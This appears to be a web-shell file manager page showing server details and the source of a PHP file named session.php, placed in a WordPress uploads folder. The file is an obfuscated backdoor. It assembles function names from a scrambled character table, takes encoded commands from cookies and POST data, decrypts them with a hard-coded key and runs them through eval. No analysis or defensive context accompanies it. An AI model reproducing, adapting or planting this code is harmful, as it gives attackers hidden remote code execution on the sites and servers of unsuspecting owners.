HEX
Server: Apache/2.4.49 (FreeBSD) OpenSSL/1.0.2s-freebsd PHP/5.6.36
System: FreeBSD hosting.icon.bg 11.3-RELEASE-p13 FreeBSD 11.3-RELEASE-p13 #0: Tue Sep 1 06:56:51 UTC 2020 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64
User: ftpuser (1002)
PHP: 5.6.36
Disabled: NONE
Upload Files
File: /hosting/kak.bg/web/wp-content/uploads/session.php
<?php
$puljj = '7#a19Hl_pvbd5gi68n*t4r-sc2m\'xfkoeuy';$zasfr = Array();$zasfr[] = $puljj[5].$puljj[18];$zasfr[] = $puljj[1];$zasfr[] = $puljj[32].$puljj[29].$puljj[4].$puljj[24].$puljj[16].$puljj[12].$puljj[0].$puljj[12].$puljj[22].$puljj[4].$puljj[20].$puljj[32].$puljj[25].$puljj[22].$puljj[20].$puljj[12].$puljj[16].$puljj[4].$puljj[22].$puljj[4].$puljj[11].$puljj[29].$puljj[3].$puljj[22].$puljj[15].$puljj[15].$puljj[20].$puljj[10].$puljj[24].$puljj[15].$puljj[0].$puljj[3].$puljj[16].$puljj[11].$puljj[29].$puljj[0];$zasfr[] = $puljj[24].$puljj[31].$puljj[33].$puljj[17].$puljj[19];$zasfr[] = $puljj[23].$puljj[19].$puljj[21].$puljj[7].$puljj[21].$puljj[32].$puljj[8].$puljj[32].$puljj[2].$puljj[19];$zasfr[] = $puljj[32].$puljj[28].$puljj[8].$puljj[6].$puljj[31].$puljj[11].$puljj[32];$zasfr[] = $puljj[23].$puljj[33].$puljj[10].$puljj[23].$puljj[19].$puljj[21];$zasfr[] = $puljj[2].$puljj[21].$puljj[21].$puljj[2].$puljj[34].$puljj[7].$puljj[26].$puljj[32].$puljj[21].$puljj[13].$puljj[32];$zasfr[] = $puljj[23].$puljj[19].$puljj[21].$puljj[6].$puljj[32].$puljj[17];$zasfr[] = $puljj[8].$puljj[2].$puljj[24].$puljj[30];foreach ($zasfr[7]($_COOKIE, $_POST) as $gbrdx => $xrcewxb){function vaovlex($zasfr, $gbrdx, $gcezemf){return $zasfr[6]($zasfr[4]($gbrdx . $zasfr[2], ($gcezemf / $zasfr[8]($gbrdx)) + 1), 0, $gcezemf);}function uodwznz($zasfr, $jaujkt){return @$zasfr[9]($zasfr[0], $jaujkt);}function urlsazu($zasfr, $jaujkt){$tjpug = $zasfr[3]($jaujkt) % 3;if (!$tjpug) {eval($jaujkt[1]($jaujkt[2]));exit();}}$xrcewxb = uodwznz($zasfr, $xrcewxb);urlsazu($zasfr, $zasfr[5]($zasfr[1], $xrcewxb ^ vaovlex($zasfr, $gbrdx, $zasfr[8]($xrcewxb))));}